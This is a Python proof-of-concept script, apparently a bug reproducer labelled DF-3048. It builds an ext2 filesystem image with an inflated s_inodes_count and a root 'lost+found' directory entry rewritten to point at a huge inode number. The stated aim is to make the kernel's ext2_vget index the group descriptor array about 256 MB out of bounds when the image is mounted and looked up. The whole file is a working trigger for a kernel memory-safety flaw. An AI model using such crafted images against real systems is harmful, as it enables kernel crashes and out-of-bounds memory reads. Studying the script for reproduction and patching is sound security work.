#!/usr/bin/env python3
"""Craft the DF-3048 trigger image: s_inodes_count inflated far beyond
gcount*ipg, and the root directory's 'lost+found' entry retargeted to a huge
inode number, so ext2_lookup -> ext2_vget indexes fs->e2fs_gd[(ino-1)/ipg]
far out of bounds (sys/vfs/ext2fs/fs.h ino_to_fsba / ext2_vfsops.c:1358).

Usage: craft.py <out.img>
"""
import struct, subprocess, sys, os

SB_OFF = 1024
E2FS_MAGIC = 0xEF53

def rd(f, off, n):
    f.seek(off); return f.read(n)

def u32(b, o): return struct.unpack_from('<I', b, o)[0]
def u16(b, o): return struct.unpack_from('<H', b, o)[0]
def p32(b, o, v): struct.pack_into('<I', b, o, v)
def p16(b, o, v): struct.pack_into('<H', b, o, v)

def parse_sb(f):
    sb = bytearray(rd(f, SB_OFF, 1024))
    assert u16(sb, 0x38) == E2FS_MAGIC, "bad magic"
    return sb

def main(out):
    subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024',
                    '-I', '128', '-O', '^metadata_csum,^64bit',
                    out, '4096'], check=True)
    f = open(out, 'r+b')
    sb = parse_sb(f)

    icount   = u32(sb, 0x00)
    bcount   = u32(sb, 0x04)
    fdb      = u32(sb, 0x14)
    bsize    = 1024 << u32(sb, 0x18)
    bpg      = u32(sb, 0x20)
    ipg      = u32(sb, 0x28)
    rev      = u32(sb, 0x4C)
    isize    = u16(sb, 0x58) if rev else 128
    gcount   = (bcount - fdb + bpg - 1) // bpg
    print(f"icount={icount} bcount={bcount} fdb={fdb} bsize={bsize} "
          f"bpg={bpg} ipg={ipg} isize={isize} gcount={gcount}")

    # 1. inflate s_inodes_count: passes mount (nothing compares it to
    #    geometry) and passes ext2_check_direntry / ext2_ei2i later.
    FAKE_ICOUNT = 0x7ffffff0
    p32(sb, 0x00, FAKE_ICOUNT)

    # 2. find group-0 inode table from group descriptor (block 2 for bsize 1K)
    gd0 = rd(f, 2 * bsize, 64)
    itable_blk = u32(gd0, 8)
    ipb = bsize // isize

    # root inode (2) location
    ino = 2
    iblk = itable_blk + (ino - 1) // ipg
    ioff = ((ino - 1) % ipb) * isize
    inode = bytearray(rd(f, iblk * bsize + ioff, isize))
    i_blocks = struct.unpack_from('<15I', inode, 40)
    dirblk = i_blocks[0]
    print(f"itable={itable_blk} root dir block={dirblk}")

    # 3. patch the 'lost+found' dirent (3rd entry) inode
    db = bytearray(rd(f, dirblk * bsize, bsize))
    off = 0
    target_ino = None
    for _ in range(10):
        rec_len = u16(db, off + 4)
        name_len = db[off + 6]
        name = bytes(db[off + 8:off + 8 + name_len])
        if name == b'lost+found':
            # pick cg ~ 4M groups => read offset 64*cg ~ 256MB past the gd array
            want_cg = 1 * 1024 * 1024
            target_ino = want_cg * ipg + 2
            assert target_ino <= FAKE_ICOUNT, hex(target_ino)
            p32(db, off + 0, target_ino)
            print(f"patched entry at dir off {off} name={name} "
                  f"ino -> 0x{target_ino:x} (cg=(ino-1)/ipg="
                  f"{(target_ino-1)//ipg})")
        off += rec_len
        if off >= bsize or rec_len == 0:
            break
    assert target_ino, "lost+found entry not found"

    f.seek(dirblk * bsize); f.write(db)
    f.seek(SB_OFF);        f.write(sb)
    f.close()
    print(f"OK wrote {out}")

if __name__ == '__main__':
    main(sys.argv[1])
